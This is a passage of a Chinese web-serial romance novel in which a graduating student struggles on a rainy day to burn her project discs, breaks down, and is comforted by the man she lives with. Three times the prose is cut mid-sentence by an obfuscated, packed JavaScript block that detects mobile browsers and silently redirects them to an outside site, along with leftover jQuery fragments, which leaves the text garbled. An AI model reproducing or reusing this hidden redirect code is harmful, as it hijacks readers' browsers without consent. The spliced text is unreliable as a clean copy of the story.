赵婕：【来得及是来得及，不过你知道咱们毕设还要刻盘交学校保存吗？】 常妙：【知道，看班群说是答辩那天正好一块交上去。】 这个通知下的早，羽鹭几天前就已经弄好了，她是打算明天早上去来着。 赵婕：【宝贝，你能帮我个忙嘛，毕设我后天铁定能做完，但是刻盘就没时间了，你去刻盘的时候能帮我一起弄了吗？我之后请你吃饭！】 常妙愣了下。 后天……她点日历看了眼，那就是答辩的前一天？ 赵婕：【球球了！我到时候找个跑腿把U盘给你送学校去，一天时间怎么都来得及的。】 常妙想了想：【行，那我帮你一起，你赶紧去做吧，请客就不用啦~】 赵婕连发了好几个感谢的表情包。 常妙轻舒了口气，退出对话框。 过了会儿，又翻出来梁嵛的，打字，补充评价：【这个糖醋排骨没有你做的好吃。】 - 这几天，因为即将答辩的关系，常妙一直在学校宿舍住着没有回去，赵婕U盘送来的时候已经快中午了，常妙不耽误时间，拿上包就走。 刻盘这个活儿，一般打印店就能做，学校里有一家，开了挺久，平时庆大的学生有什么需要的，都会就近考虑那，常妙第一选择也是。 但还没走到那家店门口，常妙心里隐隐就觉得不妙了。 隔着段距离，她能看到店门外头站了好几个人，那店面本来就不大，能站出来等明显就是里面已经人挤人了。 “阿姨，现在能刻盘吗？” 常妙站在门口，大着声喊了声老板娘。 “刻盘？”老板娘蹲在地上，正拆着一沓新的A4纸，旁边的复印机里不断往出跑着印好的学生文档，“不行了，我这还排了好多人呢，都是大四的学生来打论文，还得装订，人手不够啊。” “你要不下午再来？” “哦，好。” 常妙退出人群，犹豫了下，往校外走。 本想着学校门口也有一家打印店，碰碰运气，但不成想这家店人也挺多的。 毕业季，是这样的 更何况这还挨着两所大学。 常妙没太气馁，掏出手机，用导航搜索了下，离这三站路的地方还有一家，可以去这。 大中午的，公交车上人不多，常妙一上车就有座位，随着公交车启动，窗外风景缓缓后退，常妙短暂放空精神，远眺着天边灰白的云彩，梧溪每年到了这时候雨水都有点多，东南西北四个方向各不相同，导致天气预报经常不准，早上还是晴的，她出来这一会儿天又阴了，不知道再晚会不会又下雨。 包里的手机突然震动。 常妙回过神，翻过来看，是方沉兰。 母女两个平时打视频都是晚上，白天方沉兰还真的挺少给她打电话的，常妙若有所思，手指一滑，接通，“喂，妈妈。” 电话里，方沉兰的声音听起来有些怪，“妙妙，你现在忙吗？” “怎么了？”常妙顿了下，“没事，你说，我现在有空。” 方沉兰：“你舅舅工作腰伤了，疼了好几天了，我叫他去医院也不去，今天疼得下不来床了。我也不知道该怎么办好，想带他去医院看看，可是我一个人弄不动。” 舅舅方程南现在做着快递员的工作，每天搬来搬去的，不动腰几乎不可能，尤其现在家里欠着钱，舅舅肯定要顶着压力使着劲要干，她偶尔在家住的时候，舅舅也是很晚才回来，可他都四十了，这样肯定不行的。 “妈妈，你先别着急，你让舅舅躺着休息，给他单位请几天假，我这就回去。” 方沉兰：“好，好，我等你。” 方沉兰没有犹豫，钱挣不了可以再想办法，人首先是最重要的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200761|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> - 打了车，常妙和方沉兰一人一边把方程南架着往医院送。 常妙除了小时候生病，长大后还真没怎么往医院来过，她让方沉兰和方程南先在医院的座椅上休息，自己去找挂号的地方，跑了一圈，好不容易找见，结果被告知这家医院是要提前约号的，现在看不了。 常妙抱着侥幸想在小程序上看看有没有余号，但搜了一圈，满号，要明天下午才放新的，而且约的还是一周之后。 常妙一瞬间突然有些不知道该做什么的茫然，她当时就想的是家人生病了，那就往自己知道的好的医院送，没想过流程是这样的。 旁边的工作人员看她一小姑娘挺着急的，好心就给她说详细了点，“我们医院是梧溪市最好的，所以每天过来看病的人特别多，你可以去xx医院看看，他们那应该好点，能约到当天的。” 常妙快速眨了下眼，掩住情绪，“好，谢谢你。” 还算幸运，常妙按那个工作人员说的，险险挂到了号，三个人立马转院。 各种检查做了一遍，结果最终确定下来，是腰间盘突出和腰肌劳损。 本来对于一般人来说，这种情况休息一段时间就能好转的，但是方程南年纪大了点，身体发出警告信号后也没有停止高强度工作，这才严重起来，医生建议是可以打个封闭针，再休息一阵子就可以。 常妙当即应下，没有大事就很好了。 方沉兰也放下心，她从小基本是听父亲话长大的，个性好听了叫温柔，难听点，那就是软弱，很多时候出了事是真的没有什么主意，也就这半年来才渐渐好了点。 但她今天才发现，全是错觉，原本还觉得自己这当妈的多少能给女儿支撑和希望的，结果今天一下又暴露了。 她坐在治疗室外，方程南在里面打针，一个人静下来后，忍不住反思了起来。 还好女儿这一点不像她，不然以后要是哪天她不在了，她一个人在这世上没个依靠她还真是不安心。 常妙取完药过来，就看见方沉兰颓丧地低着头，她故意发出点响声，扬起一个微笑说：“妈妈，你想什么呢？” 方沉兰也没瞒着，叹了口气说：“没什么，就是觉得我这个当妈的还得再锻炼锻炼。” 常妙弯弯眼，提起手里的袋子，“那现在锻炼的机会有啦，这些药你拿回去，怎么用盒子上都写了，你按时盯着舅舅用完！” “好。”方沉兰接下任务，“对了，你今天是不是还有事呢，要不就先走吧？” 常妙安静了下，“我等舅舅出来吧。” 刚打完针，还得留院观察半小时，腰也不是马上就不痛了，她怕方沉兰一个人架不住方程南，干脆再等等。 三个人从医院大门出来的时候，天色已经几近黑了，常妙知道实际时间其实只六点多，但因为下午天都阴着，没有太阳，现在看起来才有了快要入夜的样子。 她叫了个车，把方程南和方沉兰送上车，“妈妈，那你们就先回去，回去以后好好休息。”扭过头又跟方程南嘱咐，“舅舅，这一周你就老老实实在家里躺几天，别再撑着跑出去了，身体才是革命的本钱。” 方程南不好意思地“唉”了声，他也后悔了，早知道今天，他还不如腰疼的那两天就停一停，这下好了，又花了医药费，还又赔了半个月的工资，太不划算了。 “我知道了，妙妙，你去忙你的吧，不用操心我。” 看着车驶入车流后，常妙低下头，立刻拿导航搜了个附近的打印店，再次坐上公交。 29. 第 29 章 下班的高峰期，人车拥堵，最近几年，司机师傅们的素质普遍有了显著提高，很注意给行人让路，这一来，原本就不快的行驶速度变得更慢了。 三站路，常妙花了半个小时，她没有抱怨，到站下车就跟着导航走。 这边都是一些窄巷，很像常妙家租住的那种老房区，路上人少，灯也不亮，但在一个岔口能看见斜对面有一片烧烤店，人都聚集到那去了。 隐蔽的树影里，常妙攥着背包带，冷不防瞥见一个男人对着墙摆出一个动作。 她屏住呼吸，装看不见，压着脚步声，快速往前跑去，直到一盏路灯下才停下脚步。 应该就是这里了。 常妙看导航前，又往身后扫了一眼，见没人跟过来才放下心朝四周打量。 她边走边找，终于在几家连排的五金店旁边看见了导航的那个打印店，可是很不巧，这家店关门了。 锈迹斑斑的卷帘门上还贴了张纸，写的转让。 夜风微凉，阵阵地吹起，常妙又往天空看了眼，夜空没有明显的云层，模糊地泛着红。 她深吸了口气，没什么表情，低头继续搜导航。 - 陆合科技的大楼里，零零星星的还有些办公室亮着灯。 梁嵛今天工作已经做完了，他关了电脑，人却没走。 隔壁桌的同事在桌子下面的柜子里鼓捣了半天，终于找到一把很早以前就落在公司的伞，他起身把椅子推进去，跟梁嵛打了声招呼，“老梁，我先走了啊，外面下雨了，回去记得拿伞。” 梁嵛冲他点头，“好，谢谢。” 一下子，部门里就只剩下梁嵛一个，他的座位靠窗，转头便能看见敲打在玻璃上的雨滴。 雨下大了。 隐约还有雷的轰隆声。 梁嵛蹙了下眉，过了会儿，点开手机又看了眼。 常妙几乎一天都没有给他发消息了。 她马上就要答辩，这几天并没有在家住，但因为互相打卡报备的习惯，两个人虽然没在一块却是知道对方大概的生活轨迹的，比如过去几天，她都是十一点半左右吃的午饭，六点左右吃晚饭，早饭很容易因为起不来而选择略过，可今天不知道为什么，她中午之后就没了踪迹，连他发的加班消息也没有回…… 这种情况不正常。 窗外一瞬白光闪灭。 梁嵛望着开始汇聚成线的雨水，犹豫片刻，还是拨了电话过去。 等待的提示音一直嘟嘟嘟的响，梁嵛安静等着。 几十秒后，终于，对面接通。 “……” “妙妙？” 没有如期听到熟悉的声音，梁嵛疑惑地等了下，听筒里相似的下雨声让他怀疑了片刻这声音究竟是他自己这边还是常妙那边的，很快，他确定。 是常妙那边的。 梁嵛：“妙妙，你在外面？” 常妙几番控制了自己的嗓子，才让这声“嗯”顺利发出。 她脑袋有些晕晕的，不大想说话。 太不对了。 梁嵛神色微微变化，他沉声，“你在哪？” - 常妙并不知道她在哪，她为了找打印店，从医院开始转了好几回车，最后到的地方她完全没来过，只能是给梁嵛发了定位过去。 “下雨了，你慢点开车。” 梁嵛不是喜欢拿生命冒险的人，雨天慢行，他一直以来绝对遵守，但常妙今天太奇怪了，等轮胎适应路面后，他还是忍不住尽可能地开快了点。 二十多分钟后，梁嵛到达定位的目的地。 他下车扫视着周围，企图寻找那个独身躲在某个屋檐下的姑娘，他边走边又打了个电话，铃声在前方拐弯处的地方响起。 梁嵛加快脚步，而等他转过弯，看见蹲坐在书店屋檐下的常妙时，他不禁顿住。 “妙妙。”他叫。 常妙抬起头，她不说话，朝梁嵛的方向看过来。 她身上就是一件透风的薄薄浅色外搭，肩膀的位置似乎沾了水，粘在了皮肤上。 膝盖和肚子的中间夹放着她的帆布包，也不知道是这样在这呆了多久，一张白皙的脸生生被风吹成了苍白的颜色。 梁嵛走过去，半蹲在她身前，有些后悔他早上出来的时候怎么没再穿件外套。 “怎么了，妙妙？” 常妙从他出现眼睛便一直落在他身上，此时更是一眨不眨地看着，他一问，嘴唇动了动，还是没吭声。 她不是故意不说话的，只是她怕一出声就会哭，但她不想哭。 梁嵛见状，也没再说，抬手摸了摸她的头发。 谁知下一刻，常妙望着他突然砸下一滴泪来。 吧嗒一声。 在这雨夜的嘈杂中竟然依旧能听到。 常妙狼狈垂下眼，细眉克制地蹙了下，但犹如蚁穴溃堤，她拼命垒砌的高墙终究是被洪水冲塌，再无转圜余地。 梁嵛心口处细细密密的疼，他迟疑着该怎么安慰她才好，但下一秒，常妙倾身蜷缩着埋进了他的怀里。 夏季的衣服都薄，梁嵛能感觉到自己胸前的衣服被逐渐洇湿，沉默迅速化为了一片呜咽。 黑色的大伞倒放在旁边，他双手轻抱住她。 夏雨凄冷，梁嵛尽量用自己的体温护住怀里的这个人，待最猛烈的那股情绪过去，他听见常妙泣不成声地问：“梁嵛，你说我怎么这么没用啊，怎么什么事情都做不好？” 常妙抓住梁嵛腰间的衣服，浑身都在颤抖。 刻盘的事情无疑是压到她的最后一根稻草，常妙此刻满脑子都是自己车上车下，四处奔寻的画面。 昏暗灯光的窄街，借着黑暗随地大小便的醉酒男人，关闭的店门，没有此项业务的拒绝，潮湿拥挤的公交车，一点不留情的大雨…… 倒霉吗，是挺倒霉的。 那这件事她做对了吗？她答应赵婕的求助对了吗？ 她以前选择这样做是对的吗？ 她小的时候爸爸就不在了，学校里隐性的欺负层出不迭，她想和同学们玩，唯一的方法就是不拒绝，来找她帮忙就答应，买了零食就立刻分享，纵使后来明白这样换取的友谊是没价值的，但长久以来的习惯还是让她成为了现在的样子。 讨好型人格么，常妙认为自己是有的，她心里很清楚，这样久而久之肯定会在未来的某一天爆发出什么，今天不就兑现了吗？ 也许是一时的负能量爆棚，也许她其实本来就是这样！常妙很恶劣地想，为什么赵婕一定要找她，看不到她的生活已经很糟了吗，不是朋友吗，怎么还要这样给她施加压力呢，让她帮帮她，她怎么不来帮帮自己呢？ 她也是很辛苦才赶在答辩前完成毕设的啊，如果不是赵婕，她就不用在雨天来回的跑了吧？现在好了，她们俩谁的也没完成， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13210803|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明天见了面，她是不是还要来指责她？说早知道就不交给她了，干不了早说啊。 是是是，都是她的错。 哈，对了，哪里只有这些，曾经她在长辈的护佑下长大，她不用操心任何事，不用担心今天的这口饭从哪来，明天生病了应该去哪看，生活到底是什么样她根本就不知道，回想这半年来，她都不知道都在装什么，其实出了学校她根本处理不了生活里的任何事情。 饭不会做，家务也做不好，她就是一个连自己都照顾不好的人，承担不了家里的担子。 “梁嵛，我好累啊，我不想见人，为什么他们总要来找我……我想自私一点，人活着自私一点也没问题吧？自私的人应该会活得很开心的。” 常妙越说越不顾一切，好像自己马上就要脱胎换骨变成一头孤狼与世隔绝，可她环在梁嵛腰间的手却越来越紧，连眼睛也紧紧闭上，可就在这时，梁嵛回答了她。 他说：“可以。” 常妙愣住，仿佛听错一般松了松力气，望向梁嵛。 梁嵛低着头，语气淡然而认真，“你做不了的我帮你做，处理不了的事情都交给我，不会照顾自己那就让我照顾你，做饭什么的当然你要是想学那也很好，我可以教你，慢慢教你，你很聪明，会学会的。” “至于要不要自私一点，这也没关系，你能让自己活得快乐已经很厉害了。” 常妙从来没听过这种言论，眼泪不知不觉止住了。 她表情呆呆的，眼神闪烁不定地看着梁嵛，半晌，哑哑憋出一句，“这，不行吧？” 梁嵛抬手擦去她脸上的泪痕，“为什么不行？” 常妙嗫嚅了下，说不出来，恰逢湿衣服受风一吹，身上凉飕飕的，她不禁把自己往温暖处缩了缩，也顺带躲避了梁嵛的视线。 梁嵛抱紧她，看着她，突然闷笑了声，嘴角很浅地勾起一点，“所以妙妙，你看，你做不了自私的人。” 常妙抿唇。 可能是哭了一场发泄了情绪，也有可能是这段对话太过匪夷所思，她刚才那么沉郁的心情居然破开了一道天窗。 她听着耳边的心跳震动，脑袋无意识蹭了蹭，“你在笑我？” 梁嵛正色，“没有，我从不笑话人。” 常妙也觉得应该没有，梁嵛不是那样的人。 一场雨夜的崩溃，是积攒了许久的压力无处可发，消失的却出人意料的迅速。 梁嵛任常妙在自己怀里静静窝了会儿，然后适时拍了拍她的肩膀道：“还下着雨，回车上给我讲讲发生了什么吧，我看我能不能帮你。” 常妙有些不舍这个怀抱，但还是很乖地退了出来，寒意瞬间涌入两人之间，她打了个哆嗦，抬头看着已经站起身的梁嵛。 梁嵛：“怎么？” 常妙脸上有些红，“我一天没吃饭了，手脚发虚，起不来……” 梁嵛一怔，叹了口气，有一点常妙还真说对了，她不会照顾自己。 “把伞拿上，拿不住就扶着。” 梁嵛把伞交给她，常妙正疑惑着他要做什么，自己就被打横抱了起来。 苦橙的香气很安心，她渐渐放松身体，靠在梁嵛肩上。 目光无所落处，就放在眼前那只惹人注意的耳朵上，常妙好奇地用食指很礼貌地点了下，像个开关似的，梁嵛也不动了。 常妙对上他侧过来的眼睛，小声夸赞，“好看。” 30. 第 30 章 常妙还从来没有这样进过一家公司…… 脚踩咯吱咯吱小皮鞋，身披蓝色毛毯小披风，手上还提着没吃完的面包和热牛奶，活像小学生闯进了大人的世界。 她觉得不好意思，但梁嵛还挺神态自若，带着常妙进了电梯。 常妙一进去就有些羞耻地往梁嵛身后躲了躲。 她怕电梯突然停下，有人进来。 “我能不能不披这个啊……”常妙真的有点接受不了。 梁嵛拒绝，“不行，你淋雨了，容易感冒。” 常妙声音还有些大哭之后的鼻音，嗡嗡的控诉：“可是我穿成这样进你们公司好奇怪啊，而且你也淋到了，要不咱俩一起披？” 常妙说着就要展开“翅膀”围住梁嵛，结果梁嵛预知般快她一步，抓住她的两只手按下，然后飞快将毯子的两个角在常妙身前打了个结。 常妙：“……” 更像小学生了。 然而梁嵛一本正经同她对视，“我是男人，身体比你好，你更需要。” 要不是在电梯里，常妙还挺想蹦到他身上，强制给他套上！ 梁嵛似乎看出常妙的想法，眼底染上淡淡的笑意，宽慰她，“放心，没人看见，这个时间公司人很少。” 电梯门打开，外面一片黑暗，墙角线的安全通道标识在散发着诡异的绿光。 梁嵛第一个出去，不忘把常妙也牵了出来。 指纹密码锁嘀的一声，玻璃门锁自动打开。 梁嵛熟练地在门口的墙上按开大灯。 他的工位在左边靠里的位置，他让常妙先在他的位子上坐下，然后转身去拿刻录机。 常妙不敢到处乱看，只好奇地打量了下梁嵛的办公桌。 这人的所属物果然没有一样不跟他相似的，桌面上严格分区摆放，左前方是整齐摆放的各种文件，右前方是一些私人的笔筒日历等物品。 总体来说，杂物不多，存在的每一样都是必要且有用的，以至于中间空出来很大一片地方，看起来很宽敞。 梁嵛回来的时候除了刻录机，手上还不知道从哪抓了一把小零食，他全部放在常妙面前，里头巧克力、小面包什么都有。 “你先拿这些垫一垫，我同事都挺喜欢吃的，回去以后我再给你做饭吃。” 常妙举起手里的塑料袋，“我可以吃这个，不吃夹心就可以。” 梁嵛顿了下，从袋子里取出她吃了几口的面包，“这个我吃，你先吃这些，牛奶趁热喝完。” 常妙没吃饭，他找到她的时候已经有了点低血糖的症状，所以脸色才那么白。 面包是他路上在便利店买的，当时店里就剩这一个，他也没什么挑的，后来给了常妙才知道，她对芒果过敏，里面有芒果果酱，他一向不喜欢浪费粮食，常妙吃不了，他就自己吃。 常妙眨眨眼看他，过了会儿，点头，“好。” 赵婕和她的U盘都在帆布包里放着，下雨的时候她一直护着，一点没湿，她把两个U盘给了梁嵛，梁嵛挨个操作。 刻录需要时间，等待的过程中，梁嵛就解决了面包，两人不在一张桌子上吃饭的时候，他还是吃的很快，常妙一包小饼干还没见底，一转头他已经收拾袋子准备扔了。 似是察觉到常妙的视线，梁嵛朝她望过来，露出疑惑，“怎么这么看我？” 常妙猫猫祟祟的，被发现后还专注望着他的眼睛，甚至又浅浅凑近了点，歪着头好奇地观察。 这样的眼神太直白，梁嵛不知道常妙想看什么，坚持了一会儿就产生了退意，他敛下眼皮，准备将注意力放到电脑上时，常妙开口了，“有个问题想问你。” 梁嵛：“什么？” 常妙：“你以前有发生过什么让你崩溃的事情吗？有没有像我一样有大哭、难过、无措的时候？有没有不知方向过？” 一直以来梁嵛带给她的感觉就是很稳重，很踏实的感觉，连那双眼睛也是，像山一样，一望着你，心里就会有种很安定的感觉。 常妙感觉自己跟他比起来，像只小虾米，纵使有年龄的差距在，但他，从小就是自己一个人，她现在至少还有妈妈和舅舅，是有依靠的，那梁嵛那个时候会怎么样呢？ 按理说，困难和狼狈应该更多吧，可是他一点儿也看不出来。 今天最大的麻烦解决了，常妙这时可以毫无压力地端起自己满满的好奇心去等待一个答案，但梁嵛显然不愿意让她这份好奇心得到满足，他说：“没有。” 斩钉截铁的，“没有”！ 常妙：“怎么可能没有！” 梁嵛见她一脸不相信，表情里写满了“你在骗我”“你不想跟我聊天”“原来我和你不是最好”的伤心后，只好自己努力再想想。 说实话，崩溃是真的没有，从他有记忆以来，他的前二十八年至少有二十年都是待在学校里，而学生的这个身份，最需要做的就只有一件事，学习。 恰好，他脑子还不错，学习并不会给他造成困扰，反而还帮了他。 奖学金，竞赛奖金，还有国家的资助，包揽了他的那些年的学杂费，但是小孩子长大总归不止有学习一样，他还需要每年更换几件不合身的衣服，日常消耗的各类生活物品，这部分就比较勉强了，而且，他还想攒钱。 等年纪大一点了，他就去兼职打工，服务员、发传单、家教、跑腿，五花八门的他干了不少，他不追求一口吃个胖子，只要手里拿着钱，积少成多就足够了，所以他会有没钱的烦恼，却不至于到崩溃的地步。 难过、无措……梁嵛觉得也是没有的，现在回想起来，可能当时是有些同学不喜欢他，但他那阵哪有空管这些，一门心思全在提高成绩挣奖学金去了。 不过有一点。 “不知方向会有。” 梁嵛淡声，“我不知道要怎么活。” 常妙脸色一变。 梁嵛笑，“不是你想的那种可怕的事情。” “我只是对我的未来没有什么感知，小时候一直弄不懂这个问题。” “我应该要怎么长大，长大以后应该做什么，简单点的，上学是每个人必须要做的吗，为什么前座的同学不愿意上学了就要被家长打？”他顿了下，“诸如此类，很多问题，没有人跟我说这些。” 这是常妙第二次听到梁嵛谈到他小时候，她认真道：“那你有问老师吗，老师怎么说的？” 梁嵛：“最开始问过，老师说长大以后要做好人，为社会做贡献。” 常妙点点头，这样的回答是没错，可是太宽泛了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13220000|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，小孩子应该听不懂吧。 “那后来呢，你后来知道了吗？” 梁嵛：“知道了，张婶有跟我说。” 常妙心中莫名一滞，“……怎么说的？” 梁嵛：“上学，工作，结婚，人做好这些就够了。” 常妙：“？” 怎么好耳熟的一句话？ 还想再问，刻录机已经停止工作了，梁嵛关闭窗口，把两个U盘和光盘给她，“可以了，回家吧。” 常妙恍恍惚惚地一口闷掉剩下的牛奶，“好……” - 晚上到家已经十点多了，常妙给秦羽鹭发了信息，今天不回学校了，梁嵛进门简单收拾了下门口，就进厨房准备给她做饭。 太晚了，明天常妙还有答辩，这会儿想吃又不想吃的，最后决定还是下包方便面就好。 梁嵛在吃上应该是有讲究的，家里如果他在，那一定是自己做饭，方便面只有上次他俩一起去超市常妙拿的一包藤椒牛肉面，似乎觉得不够，又从冰箱拿了一颗鸡蛋和一根火腿肠。 常妙洗了手，主动要求帮忙，“火腿肠我来切吧。” 刚说完，手里被塞进来块擦手布，梁嵛朝她示意，“出去等着吧。” 常妙：“为什么？” 梁嵛：“你手都切了两次了，还想再伤一回？” 常妙一噎，但理直气壮，“可是你今天还说会教我，让我慢慢学！” “……” 辩不过她。 常妙得意一笑，从梁嵛身前钻过去，选了把刀。 人从不熟练到熟练总需要段时间的，她正考虑着怎么下刀好破开这个包装时，梁嵛走到她旁边轻覆上她的手，叹声纠正她，“刀柄要这样拿。” - 【早餐到了，我让外卖员放门口了，你起来拿吧！】 常妙出门时，正是早高峰开始的时候，地铁里不断进人，没走两站，她就被挤到了角落里，但就是这种情况，她还能坚持给梁嵛发消息。 这人发烧了。 平时雷打不动到点准起的一个人，今天躺到常妙妆都化完了他还一动不动，量了体温才知道，发烧了，38.5℃。 还说自己身体好呢，昨天跟她一块披着小毯子多好！ 信息发过去之后，那边很快有了回复。 梁嵛：【好，已经取到了。你到学校了吗？】 常妙：【不用操心我，我还有好几站呢，你一会儿吃完饭再睡会儿，病人要好好休息，午饭你别再起来自己做了，我给你点外卖。】 常妙：【啊，还有，隔一段时间就量下体温，监测一下，降下来要和我说，我好放心。】 梁嵛：【知道了，今天答辩加油！】 后面还少见地跟了一个简笔小人加油的表情包。 常妙弯唇：【我也知道了！】 家里，空荡的客厅，梁嵛一个人安静坐在餐桌前。 额头上是常妙早上出门前给他贴的退烧贴，头疼，头晕，大概是好久没有这样生过病，梁嵛感觉身体上的不适比以往的反应都要大些。 不过，倒也不是那么难受的。 手机被摆放在抬眼便可瞧的位置，看完常妙最后的一句回复，他轻轻扬唇，大口喝下一勺粥。 31. 第 31 章 六月上旬，庆大毕业生的答辩全部结束，常妙也总算圆满完成了大学里的最后一件事，进度条已经拉到了99%，之后只要再等毕业典礼和毕业晚会举办完成，她这四年来的大学生活就正式画上了句号。 但与此同时，有一个问题就产生了。 毕业之后的住宿问题。 如果没有梁嵛，她毕业后肯定是要回家的，但现在情况有变，她就不得不重新计划一下这件事。 所以等梁嵛病好上班后，常妙找时间回了趟家。 “妈妈。” 常妙咚咚咚敲了几下门。 老房子隔音不好，这边常妙敲门声刚落下，邻居家里就传来几声狗叫，汪汪汪的，随后是屋里有人训斥的声音。 “来啦。” 方程南边喊边往门口走。 过了会儿，门打开，常妙首先拎起刚买的水果方程南眼前晃了晃。 方程南都来不及看，脑袋跟着一块晃啊晃的，等停下他才看清是什么，这袋子是苹果，他接过，却忍不住念她，“怎么回自己家还买东西了？家里吃的什么都有。” 常妙没接这句，菜可能不缺，但实际上其他的副食他们现在真的很少买了，她随口道：“没事，苹果耐放，给你们补充补充营养嘛。” 家里客厅和吃饭的饭厅是混着用的，面积不大，常妙另只手里还买了箱奶，手往前一伸就推到了餐桌下头。 换好鞋，常妙又蹦到厨房，“妈妈，做什么饭呢？” 方沉兰知道她回来，昨天就买好了菜，她现在厨艺有进步，简单的家常菜问题不大，顶多就是偶尔咸一口淡一口的事，不会不熟。中午蒸了米饭，打算弄上三菜一汤，她现在就正在切冬瓜。 常妙习惯上身，当即撸起袖子就说：“我帮你切吧！” 方沉兰切菜的时候脸上还带着笑，一听这话，神奇地看向常妙：“你切？” 从她的视角，常妙一直都在学校住着，根本没有下厨的机会，哪里会切菜，顶多下个方便面。 常妙也立刻意识到，补充，“我学着切啊！你不也是花了时间才学会的吗。” 话是不错，方沉兰等她洗完手接过菜刀就在旁边看着，刀刃和菜板发出噔噔噔的声音，一片又一片薄厚适中的冬瓜均匀地躺在刀面另一边，最后切完，装盘，除了速度慢一点，还真没毛病。 方沉兰惊喜夸赞，“我女儿这么厉害啊。” 常妙故作低调点头，“这就是天赋吧！” 中午吃完饭，常妙和方沉兰躺到床上休息，方沉兰晚上要去给学生上课，中午通常都会睡半小时，常妙酝酿了一会儿蹭到方沉兰身边说：“妈妈，我有件事情想跟你商量下。” 方沉兰：“什么事啊？” 常妙：“我再不久不就毕业了吗，我想出去住。” 方沉兰：“出去？你自己吗？” 常妙：“不是，羽鹭也从家里出来租房了，我跟她一起合租，我们俩一起，费用不高，我每个月接稿能承担起。” 这就是常妙想出来的理由，羽鹭租房是真的，但她只是拿来当个借口…… 方沉兰想了想，“可以，你们俩女孩子在一块我也放心。” 常妙想不到这么容易，一下从床上坐起来，“你答应啦？！” 方沉兰笑，“这有什么的，你想跟朋友去住那就去。” 当初为了省钱，他们租这个房子的时候都想的是凑活，两间卧室睡得下就行，但孩子长大了，又是个姑娘，总有自己隐私的，再跟她这样一块是不大合适，而且她工作的那户人家人挺好的，还帮她又拉了个朋友家的小孩来上课，以后每个月赚的钱又能多点，添补了常妙这部分应该也是够的。 一件大事解决，常妙高兴地抱住方沉兰，“睡觉睡觉！” - “所以。” “你是用我骗了你妈？” 秦羽鹭总结性发言。 “嗯……” 为了防止哪天露馅，常妙特意把秦羽鹭叫出来好好串通对证一番，现在学校里没事了，她光接稿，时间上倒是比之前能轻松一点。 秦羽鹭：“我之前还想你和梁嵛的事要和你妈怎么说呢，原来还是要拿我顶包哇！” 常妙嘿嘿一笑，拿奶茶跟她小小地碰了个杯，“这不是没办法嘛，我又不可能跟我妈妈说我跟个男人合租了，她答应你容易，但是换个性别就不一定了。” 奶茶店里，两个人面对面坐着，秦羽鹭撑着下巴，若有所思，换位思考如果她有常妙这么个女儿，如花似玉，开朗可爱——都不说结婚，刚毕业就说要和个从来没见过的老男人合租，确实说不过去。 她叹了口气，说：“我帮你瞒一时是没问题，可是你以后怎么办？总不能一直不跟你妈说这事吧。” 常妙也愁着，“走一步算一步？后面先找机会让梁嵛见一下我家里人好了，刷个脸。” 秦羽鹭：“你觉得梁嵛会是家长喜欢的那种类型吗？” 常妙：“不会吗？长得挺好看，性格也很稳重啊，而且有房有车，生活稳定，除了可能嘴不甜吧，讨不了长辈欢心。” 秦羽鹭转头看她，她刚才只是随口一问，怎么这人还真细数上了？ 她笑，“你——” “这是看上他了？” 常妙：“……” 不说话更代表有问题！ 秦羽鹭一个灵醒，从对面的椅子一下窜到常妙坐的沙发上紧挨着她，“快说快说！” “你俩是突然怎么了，是有什么我不知道的进展？还是他突然开窍对你展开猛烈攻击？啊，我怎么以前不知道你喜欢这种的，你不是喜欢阳光开朗运动型的吗？” 常妙以前确实喜欢阳光开朗的。 刚上大学那会儿，她跟很多小女生一样，对恋爱充满了幻想，当时有个小她一届的男生喜欢她，体育生，追了她挺久，她虽然对他并没有达到喜欢的地步，但因为想谈恋爱感受感受还是答应了，试试看嘛。 开始两人还算正常，那男生每天有空就来找她，有时是吃饭，有时是晚上遛操场，但一周过去，事情就开始不对劲起来了。 那男生老想亲她……她觉得太快了不愿意，他就要控诉说她是不是不喜欢他。 是不喜欢啊。 常妙当时心想，不是你追的我，我感动答应，然后说试试看的吗？ 心里是这样想的，但常妙那会儿第一次谈恋爱，也不知道她这样正不正常，那男生急迫的需求正不正常，所以嘴上还是解释说她希望慢一点。 那男生这点还算好，答应了，只是从此以后就像脱了缰的野马一样，在常妙耐心的临界值上一路狂奔。 偶尔一次迟到让他等久了会发脾气，脾气不大，但一定要常妙哄；两人为晚餐去哪吃犹豫不决时，他一定强迫常妙去吃他推荐的那样东西；常妙有时忘事，或者什么事情没做好的时候，他又会来嘻嘻哈哈哈地戳她几句，能感觉到不是坏心，但真的很幼稚。 闹到最后，一个月常妙就提出了分手。 现在回想起来，那男生喜欢她应该是真的，就是俩人实在不合适，所以常妙还觉得有点对不起人家，不如早早拒绝的好。 而 